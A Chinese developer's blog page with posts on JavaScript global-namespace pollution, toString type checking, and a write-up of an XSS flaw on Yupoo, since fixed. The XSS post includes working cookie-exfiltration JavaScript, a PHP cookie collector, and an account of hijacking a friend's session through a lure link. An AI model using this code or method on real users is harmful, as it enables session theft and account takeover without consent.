無標題文檔

全局空间的「污染」哲学

八卦文章,所以标题党下,见笑。期前编写 JavaScript 框架的规则, 玉伯在他的 Blog 已有提到 。而今天看见 Ajaxian 上 收集的目前主流 JavaScript 框架占用的 全局空间变量数目 ,我也忍不住八卦下。

大家或许都知道,使用全局空间要格外的谨慎, 如果滥用全局空间会造成诸多问题 。随着 Javascript 的框架越来越多,不同的设计哲学相互碰撞,形成很有趣的局面:

https://friable.rocks/_/2009_11_05/557076d94e40.jpg

其实,从上面几个图就能看出 Javascript 框架能分成几个流派,就我使用过的几个典型的框架,谈下我的看法:

YUI 看起来像是少林寺,代码调理清晰谨慎也非常容易阅读和理解,但略显庞大和臃肿。其使用全局空间的方式,也 犹如少林寺规一样 ,不敢「越雷池」半步,如数绑定到了 YAHOO 上。

jQuery 犹如丐帮,使用面广、上手容易,但要学得「降龙十八掌」和「打狗棒」并非易事。对于全局空间的态度也虽谨慎(全部绑定到 jQuery),但大家似乎更习惯使用「$」,而忘记还有个 jQuery 变量。

Mootools/Prototype 很逍遥派,代码优雅高效,但真正理解的掌握需要有高深的内功。全局空间上使用也近乎随意,甚至对浏览器内置的功能也有不同程度的扩展。Mootools 的作者也 讨论过相关的设计哲学 ,在这里就不复述。

另外还有个很有趣的现象,就是似乎大家都很喜欢使用美元符「$」变量。但这意味着如果载入不同的框架,就会造成命名空间的相互污染( 详细 )。

避免全局空间的污染,在一定程度上能避免以后自找麻烦,也更有利于代码的模块化。撇开上述框架的八卦,在编写实际代码时更应该注意全局空间的污染问题。

Yupoo 的 XSS 漏洞攻击实录

声明:此漏洞已经提交到 Yupoo 官方。因此漏洞造成的任何后果,本人不承担任何责任。

偶然的机会发现 Yupoo 线上某页面有个 XSS 漏洞 ,它能执行任意的前端代码。

https://friable.rocks/_/2009_11_05/113846d10845.jpg

漏洞产生的原因主要有两点,首先是表单虽然定为 POST 方法,但尝试后发现 GET 参数也可以接收的;其次,也是最致命的是,输入的参数没有经过任何的转义和过滤,就被加入到了页面中。

https://friable.rocks/_/2009_11_05/742516d10846.jpg

于是插入了相应的 Javascript 代码,并构成了 XSS (参看图中 input 参数后面的 value 已经构成了 script 标签)。

弹出个 alert 框似乎并不能说明什么问题,最好能使它发挥威力。于是构建了个 Javascript 脚本传递客户端的 cookie 到本人的服务器环境。Javascript 脚本可以简单的这样写

var img = new Image();
img.src = 'get_cookie.php?var=' + encodeURI(document.cookie);

然后服务器端使用 PHP 简单写了个脚本保存 Cookie 数据

<?php
if (isset($_GET['var'])) {
    file_put_contents('./cookie/'.time().'.txt', urldecode($_GET['var']));
}

接下来就属于社会学的范畴, 我在 Twitter 上 发了信息并「引诱」朋友们去点击伪造后的连接(我承认很猥琐)。

https://friable.rocks/_/2009_11_05/574966d10846.jpg

不一会就收集了某兄弟的 Cookie,于是将其 Cookie 内容填到了本地浏览器上(谢天谢地,Yupoo 的 Cookie 不是很多)。

https://friable.rocks/_/2009_11_05/427946d10847.jpg

再次刷新浏览器,已经使用该用户的帐号登陆了(即便此时我还不知道他的密码)。

https://friable.rocks/_/2009_11_05/881866d10848.jpg

https://friable.rocks/_/2009_11_05/826286d10848.jpg

最后,使用此帐户发张本人的艳·照,纪念下…

-- Update --

截止 2009-01-14 16:25 , Yupoo 已经修复了此漏洞,效率真高!赞!

-- Split --

总结:上述攻击的手段,仅仅是从个不起眼的 XSS 漏洞开始。XSS 虽然发现快、修补也很方便,但从根本上避免还是个值得研究的课题。

Web2.0 大潮已降, 前端正在改变这这个世界 。前端代码的安全问题,是每个前端从业人员必须去面对和注意的。

使用 toString 进行类型检测

toString 方法 返回对象的描述信息,很多时候我们都忘记了还有这属性的存在。 在查看 jQuery 源码时 ,发现其 isArray 竟然令人惊艳的使用 toString 进行类型判断:

597 toString = Object.prototype.toString;
    ...
616 isArray: function(obj) {
617    return toString.call(obj) === "[object Array]";
618 }

Javascript 这种弱类型的脚本语言进行类型检测,是件很头痛的事情。 巧合的是 Perfection Kills 近期也发布了篇同内容的文章 ,并得出相似的结论。

Perfection Kills 还阐述了使用 instanceof 和 typeof 需要格外注意的问题,以及其他如何使用「正统保险」的方法实现 isArray 函数(另,针对 YUI 的 isArray 写法,可以 参考这里 )。

回到上述 jQuery 代码, Mozilla 针对 toString 的描述 道破其中玄机:

If this method is not overridden in a custom object, 
toString returns [object type], where *type* is the object type. 

那么,可以同时 toString 使用针对统一的返回格式进行类型检测。由于 call 的首个参数必须是 Object 类型以及

alert(typeof null);

返回的是 Object ( 标准如此规定 让我很困惑),那么索性针对 undefined 以及 null 独立的判断。根据上述观点实现简单的检测代码如下

var chkType = function (obj) {
    if (obj === null) {
        return 'Null';
    }

    if (obj === undefined) {
        return 'Undefined';
    }

    return Object.prototype.toString.call(obj).match(/s(.+)]$/)[1];
};

最后, 简单得写了个 DEMO

我的照片

嗨!我叫「明城」,八零后、码农、宁波佬,现居杭州。除了这里,同时也欢迎您关注我的 GitHubTwitterInstagram 等。

这个 Blog 原先的名字叫 Gracecode.com 、现在叫 「無標題文檔」 。 要知道作为码农取名是件很难的事情,所以不想在取名这事情上太费心思。

作为八零后,自认为还仅存点点可能不怎么被理解的幽默感,以及对平淡生活的追求和向往。 为了避免不必要的麻烦,声明本站所输出的内容以及观点仅代表个人,不代表自己所服务公司或组织的任何立场。

如果您想联系我,可以发我邮件 `echo bWluZ2NoZW5nQG91dGxvb2suY29tCg== | base64 -d`

分类

搜索

文章